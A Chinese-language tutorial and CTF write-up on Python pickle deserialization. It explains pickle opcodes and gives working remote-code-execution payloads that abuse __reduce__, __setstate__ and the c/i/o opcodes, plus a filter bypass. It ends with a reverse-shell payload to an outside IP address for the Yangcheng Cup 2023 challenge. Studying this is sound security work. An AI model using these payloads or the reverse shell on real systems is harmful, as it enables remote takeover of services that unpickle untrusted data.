python pickle反序列化
python的反序列化相对于php反序列化比较的单一,php反序列化通过不断的变量覆盖,使得各个方法之间互相调用,从而导致了恶意方法的调用,而对于python反序列化,通过恶意的构造语句,实现了的命令执行,他更加像是一种命令的注入
1.pickle序列化 把一些复杂的数据用字符串的方法储存起来,在使用的时候取出来重新反序列化就可以。
1 2 3 4 5 6 7 8 9 import pickleclass obj : def __init__ (self,str1,str2 ): self.str1=str1; self.str2=str2; class1=obj("str1" ,"str2" ) a=pickle.dumps(class1) print (a)
分析
首先可以看到在class1的地方,可以看到程序在这里进入了__init__方法内部,讲两个值全部赋值给了obj类里面的两个类
然后继续跟踪,可以看到
检查各个属性有没有存在在相关的类里面,没有存在就抛出错误
然后创建一个列表遍历所有的属性同时进行处理
将收集到的属性名缓存到类的 __slotnames__
属性中,并返回这些属性名
然后完成这一次的序列化,得到序列化的字符串,在pickle函数里面,是一串字符串
先贴上所有的字符表达的意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 PROTO = b'\x80' NEWOBJ = b'\x81' EXT1 = b'\x82' EXT2 = b'\x83' EXT4 = b'\x84' TUPLE1 = b'\x85' TUPLE2 = b'\x86' TUPLE3 = b'\x87' NEWTRUE = b'\x88' NEWFALSE = b'\x89' LONG1 = b'\x8a' LONG4 = b'\x8b' __main__.obj _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] BINBYTES = b'B' SHORT_BINBYTES = b'C' SHORT_BINUNICODE = b'\x8c' BINUNICODE8 = b'\x8d' BINBYTES8 = b'\x8e' EMPTY_SET = b'\x8f' ADDITEMS = b'\x90' FROZENSET = b'\x91' NEWOBJ_EX = b'\x92' STACK_GLOBAL = b'\x93' MEMOIZE = b'\x94' FRAME = b'\x95' BYTEARRAY8 = b'\x96' NEXT_BUFFER = b'\x97' READONLY_BUFFER = b'\x98' opcode 描述 具体写法 栈上的变化 memo上的变化 c 获取一个全局对象或import 一个模块(注:会调用import 语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable ,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable ]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无 N 实例化一个None N 获得的对象入栈 无 S 实例化一个字符串对象 S'xxx' \n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈 无 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无 I 实例化一个int对象 Ixxx\n 获得的对象入栈 无 F 实例化一个float对象 Fx.x\n 获得的对象入栈 无 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈无 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 无 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无 ) 向栈中直接压入一个空元组 ) 空元组入栈 无 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无 ] 向栈中直接压入一个空列表 ] 空列表入栈 无 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无 } 向栈中直接压入一个空字典 } 空字典入栈 无 p 将栈顶对象储存至memo_n pn\n 无 对象被储存 g 将memo_n的对象压栈 gn\n 对象被压栈 无 0 丢弃栈顶对象 0 栈顶对象被丢弃 无 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无
在自己的程序里面添加上
看到分析后的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 0 : \x80 PROTO 4 2 : \x95 FRAME 46 11 : \x8c SHORT_BINUNICODE '__main__' 21 : \x94 MEMOIZE (as 0 ) 22 : \x8c SHORT_BINUNICODE 'obj' 27 : \x94 MEMOIZE (as 1 ) 28 : \x93 STACK_GLOBAL 29 : \x94 MEMOIZE (as 2 ) 30 : ) EMPTY_TUPLE 31 : \x81 NEWOBJ 32 : \x94 MEMOIZE (as 3 ) 33 : } EMPTY_DICT 34 : \x94 MEMOIZE (as 4 ) 35 : ( MARK 36 : \x8c SHORT_BINUNICODE 'str1' 42 : \x94 MEMOIZE (as 5 ) 43 : h BINGET 5 45 : \x8c SHORT_BINUNICODE 'str2' 51 : \x94 MEMOIZE (as 6 ) 52 : h BINGET 6 54 : u SETITEMS (MARK at 35 ) 55 : b BUILD 56 : . STOP highest protocol among opcodes = 4
通过使用
进入调试,去进行分析各个字符都去干了些什么
首先读入x80进行判断版本,马上读入x04,得到这个字符串的序列化的协议版本是4.,如果没有这个版本就报错直接抛出
然后读入后面的x95,这表示后面的字节码操作构成了一个帧,帧长度为 46。
将接下来的 46 个字节放入一个 8 字节的框架中,并将该框架的长度作为 32 位整数进行存储。
使用x8c,把一个短的字符串推入到这个栈里面,长度大小是x80,即后面的__main__
,用x94把一个栈顶的数据储存在一个字典里面
此时的memo里面存在着
重复以上的操作,把长度是x03的”obj“推入到栈里面,然后存入到memo里面
构造一个__main__
.obj类
读取/x93 把这个构造出来的对象缓存起来 ,放到这个stack里面
然后继续把main.b推入栈里面,这个时候栈里面只有一个main.b
读取到)的时候,将一个空的元组放入到当前的栈里面
然后读取到x81,也就是执行load_obj
可以看到将栈里面的东西弹出来
然后弹出来两个元素,一个空的元组和一个__main__.obj
然后对对象参数进行实例化,将类压入栈里面,这里实例化了obj这个对象,目前没有参数,然后再次压入到列表里面
}创建了一个字典,塞入到列表里面,现在列表里面是这样的
然后压入的mark操作符,触发loadmark
这里建立了一个前序栈meta,将这个main.obj压入到前序栈里面,同时置空当前的栈。
当前栈去处理接下来的信息,前序栈负责储存之前的状态
这里先按下不表,看到前面x8c读取了一个str1的值
使用x94推入到栈里面
h是从缓存里面获得索引号为5的值,推入到栈里面
重复这个操作,将对应的成员值推入到相关的栈里面
这个时候当前栈的值是
这个时候读取到u,开始进行实例的赋值操作
记录下当前栈,将前面的前序栈(meta)里面的值覆盖掉现在当前栈里面的值
现在的item储存了原来starck的值
然后触发load_build
取出栈里面的末尾的东西{},开始两个一组的读取item里面的元素
一个是键名一个是键值,这个时候就出现了
1 {'str1':'str1','str':'str2'}
最后栈里面存在就是这个b和这个字典
最后接受到build指令,使用dict的数据实例化对象b的值
现在我们得到了b的实例
3.reduce 如果reduce方法里面,存在一些风险函数,且里面的reduce方法中的参数我们可以操控,那么就产生了漏洞
或者压根就没有这个reduce方法,就会存在问题
reduce干了这样一件事情
取当前栈的栈顶记为args
,然后把它弹掉。
取当前栈的栈顶记为f
,然后把它弹掉。
以args
为参数,执行函数f
,把结果压进当前栈。
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport pickletoolsimport osclass obj : def __init__ (self,str1,str2 ): self.str1=str1; self.str2=str2; def __reduce__ (self ): return (os.system,('dir' ,)) class1=obj("str1" ,"str2" ) a=pickle.dumps(class1) print (a)
构造出来一个恶意的字符串
1 b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.'
然后放到没有reduce的里面,可以看到
成功执行了dir指令
我们分析这个字符串看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 : \x80 PROTO 4 2 : \x95 FRAME 27 11 : \x8c SHORT_BINUNICODE 'nt' 15 : \x94 MEMOIZE (as 0 ) 16 : \x8c SHORT_BINUNICODE 'system' 24 : \x94 MEMOIZE (as 1 ) 25 : \x93 STACK_GLOBAL 26 : \x94 MEMOIZE (as 2 ) 27 : \x8c SHORT_BINUNICODE 'dir' 32 : \x94 MEMOIZE (as 3 ) 33 : \x85 TUPLE1 34 : \x94 MEMOIZE (as 4 ) 35 : R REDUCE 36 : \x94 MEMOIZE (as 5 ) 37 : . STOP
可以看到这里的r指令,将dir作为了system的参数,执行了这个函数
但是如果写死了reduce方法是安全的,或者ban掉了r指令,又该怎么去利用呢
4.类似方法 而在python中,同样的有几个内置方法,会在对象被反序列化时调用。他们分别是:
1 2 3 __reduce__() __reduce_ex__() __setstate__()
通过在他们下面写入有问题的shellcode,造成rce
举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import pickleimport pickletoolsimport osclass obj : def __init__ (self,str1,str2 ): self.str1=str1; self.str2=str2; def __setstate__ (self,name ): os.system('dir' ) class1=obj("str1" ,"str2" ) a=pickle.dumps(class1) print (a)b=a pickle.loads(b)
效果
5.setstate方法 我们发现到在load_build里面存在一些函数
1 2 3 4 5 6 7 8 def load_build (self ): stack = self.stack state = stack.pop() inst = stack[-1 ] setstate = getattr (inst, "__setstate__" , None ) if setstate is not None : setstate(state) return
state会从栈里面去除一个字符,同时inst也会去栈里面取出栈尾的字符
如果inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
假设有是这个方法,那我们可以先构造把__setstate__
方法构造成os.system,然后再次built,将这个值build为“ls /”,但是这个时候会被因为已经存在这个方法,那么就会被交给setstate去处理,于是乎就造成了rce
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickleimport pickletoolsimport osclass obj : def __init__ (self ): self.str1="str1" ; self.str2="str2" ; class1=obj() a=pickle.dumps(class1) print (a)b=b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06V__setstate__\ncos\nsystem\nubVdir\nb.' pickle.loads(b)
我们加入了恶意的字符串
1 (V__setstate__\ncos\nsystem\nubV\nb.'
从而达到rce
6.C指令操作码 c指令基于find_class方法进行全局变量的寻找,假设有一个这样的程序
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport pickletoolsimport osclass obj : def __init__ (self,str1,str2 ): self.str1=str1 self.str2=str2 def __eq__ (self,other ): return type (other )is obj and self.str1==other.str1 and self.str2==other.str2 a=pickle.dumps(obj(114514 ,"Web" )) b=pickletools.optimize(a) pickletools.dis(b)
可以看到序列化数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0 : \x80 PROTO 4 2 : \x95 FRAME 45 11 : \x8c SHORT_BINUNICODE '__main__' 21 : \x8c SHORT_BINUNICODE 'obj' 26 : \x93 STACK_GLOBAL 27 : ) EMPTY_TUPLE 28 : \x81 NEWOBJ 29 : } EMPTY_DICT 30 : ( MARK 31 : \x8c SHORT_BINUNICODE 'str1' 37 : J BININT 114514 42 : \x8c SHORT_BINUNICODE 'str2' 48 : \x8c SHORT_BINUNICODE 'Web' 53 : u SETITEMS (MARK at 30 ) 54 : b BUILD 55 : . STOP highest protocol among opcodes = 4
1 b=b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x03obj\x93)\x81}(\x8c\x04str1JR\xbf\x01\x00\x8c\x04str2\x8c\x03Webub.'
如果我们修改为c的指令码
使用
1 c=b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00c__main__\nobj\n}(Vstr1\nK\x06Vstr2\nV114514\nub0c__main__\nobj\n)\x81}(\x8c\x04str1K\x06\x8c\x04str2\x8c\x06114514ub.'
将obj先压入栈,然后传入dict字典,然后改变了A的值,然后清空栈,压入和A相同的B类就可以做到绕过
7.i和o指令 分析load_inst函数
1 2 3 4 5 6 def load_inst (self ): module = self.readline()[:-1 ].decode("ascii" ) name = self.readline()[:-1 ].decode("ascii" ) klass = self.find_class(module, name) self._instantiate(klass, self.pop_mark()) dispatch[INST[0 ]] = load_inst
load_init使用了._instantiate(klass, self.pop_mark())这个函数
1 2 3 4 5 6 7 8 9 10 11 def _instantiate (self, klass, args ): if (args or not isinstance (klass, type ) or hasattr (klass, "__getinitargs__" )): try : value = klass(*args) except TypeError as err: raise TypeError("in constructor for %s: %s" % (klass.__name__, str (err)), sys.exc_info()[2 ]) else : value = klass.__new__(klass) self.append(value)
看到这里存在klass(*args),如果是system(‘ls’)就完成了rce
其中*pop_mark()*是前序栈的值赋值给当前栈的内容
1 b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(Vdir\nios\nsystem\n0c__main__\nB\n)b.'
成功rce
o指令也是可以用于实例化一个类
同理,也是控制*__instantiate()*
修改payload
1 b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(cos\nsystem\nX\x03\x00\x00\x00diro0b.'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 : \x80 PROTO 4 2 : \x95 FRAME 43 11 : \x8c SHORT_BINUNICODE '__main__' 21 : \x8c SHORT_BINUNICODE 'B' 24 : \x93 STACK_GLOBAL25 : ) EMPTY_TUPLE26 : \x81 NEWOBJ27 : } EMPTY_DICT28 : ( MARK29 : c GLOBAL 'os system' 40 : X BINUNICODE 'dir' 48 : o OBJ (MARK at 28 )49 : 0 POP50 : b BUILD51 : . STOP
成功rce
8.羊城杯2023[pickleeeeeeeee] 前面是简单的session伪造
直接看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @app.route('/src0de' ) def src0de (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e' ) def ppppppppppick1e (): try : username = "admin" rsp = make_response("Hello, %s " % username) rsp.headers['hint' ] = "Source in /src0de" pick1e = request.cookies.get('pick1e' ) if pick1e is not None : pick1e = base64.b64decode(pick1e) else : return rsp if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!" else : return "No Way!!!" except Exception as e: error_message = str (e) return error_message return rsp class GWHT (): def __init__ (self ): pass if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
ban了r指令,直接上面说了很多简单的指令了,这里不在赘述
1 b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."
提权即可
图片迁移太麻烦了,就懒得干了